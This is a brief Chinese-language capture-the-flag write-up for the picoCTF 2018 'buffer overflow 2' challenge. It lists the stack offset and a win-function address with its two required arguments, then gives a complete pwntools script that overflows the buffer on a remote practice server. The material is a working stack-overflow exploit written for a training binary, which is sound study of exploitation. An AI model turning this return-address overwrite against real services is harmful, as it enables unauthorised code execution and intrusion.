picoctf_2018_buffer overflow 2

1，三连

2，IDA分析
溢出点：
偏移：0x6c+4

后门函数0x080485CB：
参数a1=0xDEADBEEF+参数a2=0xDEADC0DE
则打印flag

3，payload

from pwn import *
context.log_level="debug"


win=0x080485CB
a1=0xDEADBEEF
a2=0xDEADC0DE

r=remote('node4.buuoj.cn',27268)

r.recvuntil("Please enter your string: ")

payload = (0x6c+4) * 'a' + p32(win) +p32(0xdeadbeef) + p32(a1) + p32 (a2)

r.send(payload)
r.interactive()

完